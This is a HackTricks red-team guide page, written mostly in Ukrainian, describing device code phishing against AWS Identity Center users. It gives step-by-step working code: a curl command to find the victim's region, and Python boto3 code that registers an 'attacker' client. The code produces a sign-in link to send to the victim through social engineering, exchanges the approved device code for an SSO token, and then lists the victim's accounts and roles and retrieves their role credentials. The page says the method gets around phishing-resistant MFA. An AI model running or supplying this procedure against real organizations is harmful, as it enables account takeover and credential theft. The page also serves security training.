AWS - Identity Center & SSO Unauthenticated Enum

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

AWS Device Code Phishing

Спочатку запропоновано в цьому блозі, можливо надіслати посилання користувачу, який використовує AWS SSO, що, якщо користувач прийме, зловмисник зможе отримати токен для видавання себе за користувача та отримати доступ до всіх ролей, до яких користувач має доступ у Identity Center.

Для виконання цієї атаки необхідні такі умови:

  • Жертва повинна використовувати Identity Center
  • Зловмисник повинен знати субдомен, який використовує жертва <victimsub>.awsapps.com/start

Лише з цією інформацією зловмисник зможе надіслати посилання користувачу, яке, якщо прийняте, надасть зловмиснику доступ до облікового запису AWS користувача.

Attack

  1. Finding the subdomain

Перший крок зловмисника - дізнатися, який субдомен використовує компанія жертви у своєму Identity Center. Це можна зробити за допомогою OSINT або вгадування + BF, оскільки більшість компаній використовуватимуть свою назву або її варіацію тут.

З цією інформацією можливо дізнатися регіон, в якому було налаштовано Identity Center:

bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Згенеруйте посилання для жертви та надішліть його

Запустіть наступний код, щоб згенерувати посилання для входу в AWS SSO, щоб жертва могла аутентифікуватися.
Для демонстрації запустіть цей код у консолі python і не виходьте з неї, оскільки пізніше вам знадобляться деякі об'єкти для отримання токена:

python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Надішліть згенероване посилання жертві, використовуючи свої чудові навички соціальної інженерії!

  1. Чекайте, поки жертва його прийме

Якщо жертва вже увійшла в AWS, їй просто потрібно буде прийняти надання дозволів, якщо ні, їй потрібно буде увійти в систему, а потім прийняти надання дозволів.
Ось як виглядає запит сьогодні:

  1. Отримайте токен доступу SSO

Якщо жертва прийняла запит, виконайте цей код, щоб згенерувати токен SSO, видаючи себе за користувача:

python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Токен доступу SSO є дійсним протягом 8 годин.

  1. Видати себе за користувача
python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Фішинг непіддатливого MFA

Цікаво знати, що попередня атака працює навіть якщо використовується "непіддатливий MFA" (webAuth). Це тому, що попередній робочий процес ніколи не покидає використовуваний домен OAuth. На відміну від інших атак фішингу, де користувачеві потрібно підмінити домен входу, у випадку, коли робочий процес коду пристрою підготовлений, код відомий пристрою, і користувач може увійти навіть на іншій машині. Якщо підтвердити запит, пристрій, просто знаючи початковий код, зможе отримати облікові дані для користувача.

Для отримання додаткової інформації перегляньте цей пост.

Автоматичні інструменти

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks